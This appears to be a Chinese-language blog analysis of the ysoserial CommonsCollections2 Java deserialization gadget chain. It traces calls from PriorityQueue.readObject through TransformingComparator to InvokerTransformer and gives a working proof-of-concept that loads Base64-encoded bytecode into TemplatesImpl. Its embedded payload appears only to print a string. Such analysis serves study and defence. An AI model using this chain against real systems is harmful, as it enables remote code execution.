Java利用链CommonCollections2分析

前言

Commons Collections有两个分支版本:

commons-collections:commons-collections

org.apache.commons:commons-collections4

commons-collections:commons-collections可以使用的利用链在org.apache.commons:commons-collections4中都可以正常使用。在ysoserial中专门为CC4出了两条新的利用链CC2和CC4。

ysoserial中的CC2

先看下ysoserial中的CC2是怎么写的

image-20240129101302220

根据注释了解大概是通过PriorityQueue.readObject()进行反序列化到TransformingComparator.compare()完成整个利用链

1
2
3
4
5
6
7
8
9
10
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

先看PriorityQueue的readObject,其中调用了heapify方法

image-20240129102110796

heapify方法中调用了siftDown方法

image-20240129102145486

siftDown方法中调用了siftDownUsingComparator方法

image-20240129102222646

siftDownUsingComparator方法调用了comparator.compare方法

image-20240129102324130

而comparator是我们在构造时传入的TransformingComparator

image-20240129102542427

也就是执行了TransformingComparator.compare再看compare方法调用transformer.transofrm方法,传入的obj是queue拿出的对象

image-20240129102659856

而transfomer也是在构造中传入的InvokerTransformer

image-20240129102818300

到此已经有了完整利用链

构造POC

需要注意queue中至少要有两个对象,所以add了两次,并且必须要add templatesImp对象否则没有newTransformer方法,在compare调用transform时会报错。也可以使用反射修改queue中的参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
byte[] code = org.apache.commons.codec.binary.Base64.decodeBase64("yv66vgAAADIAMwoABwAiCQAjACQIACUKACYAJwoAJgAoBwApBwAqAQAJdHJhbnNmb3JtAQBQKExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTtbTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHEx0ZXN0L2xvYWRlci9UZW1wbGF0ZXNJbXBsWDsBAANkb20BABxMb3JnL2FwYWNoZS94YWxhbi94c2x0Yy9ET007AQAVc2VyaWFsaXphdGlvbkhhbmRsZXJzAQAxW0xvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAHMoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO0xvcmcvYXBhY2hlL3htbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAPZHRtQXhpc0l0ZXJhdG9yAQAkTG9yZy9hcGFjaGUveG1sL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAUc2VyaWFsaXphdGlvbkhhbmRsZXIBADBMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEAE1RlbXBsYXRlc0ltcGxYLmphdmEMABoAGwcALAwALQAuAQATdGVtcGxhdGVYIGNvbnN0cnVjdAcALwwAMAAxDAAwADIBABp0ZXN0L2xvYWRlci9UZW1wbGF0ZXNJbXBsWAEAL29yZy9hcGFjaGUveGFsYW4veHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAob3JnL2FwYWNoZS94YWxhbi94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABChJKVYAIQAGAAcAAAAAAAQAAQAIAAkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAAA0ADAAAACAAAwAAAAEADQAOAAAAAAABAA8AEAABAAAAAQARABIAAgATAAAABAABABQAAQAIABUAAgAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABIADAAAACoABAAAAAEADQAOAAAAAAABAA8AEAABAAAAAQAWABcAAgAAAAEAGAAZAAMAEwAAAAQAAQAUAAEAGgAbAAEACgAAAD8AAgABAAAADSq3AAGyAAISA7YABLEAAAACAAsAAAAOAAMAAAAUAAQAFQAMABYADAAAAAwAAQAAAA0ADQAOAAAACQAcAB0AAQAKAAAAOAACAAEAAAAKsgACEQKatgAFsQAAAAIACwAAAAoAAgAAABkACQAaAAwAAAAMAAEAAAAKAB4AHwAAAAEAIAAAAAIAIQ==");

TemplatesImpl tpi = new TemplatesImpl();
setFieldValue(tpi, "_bytecodes", new byte[][]{code});
setFieldValue(tpi, "_name", "TemplatesImpl");
setFieldValue(tpi, "_tfactory", new org.apache.xalan.xsltc.trax.TransformerFactoryImpl());


InvokerTransformer invokerTransformer = new InvokerTransformer("toString",new Class[0],new Object[0]);

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(invokerTransformer));

queue.add(tpi);
queue.add(tpi);

setFieldValue(invokerTransformer, "iMethodName", "newTransformer");

// Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
// queueArray[0] = tpi;
// queueArray[1] = 1;



ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
// System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();



}
}

结果

image-20240129105550304

__END__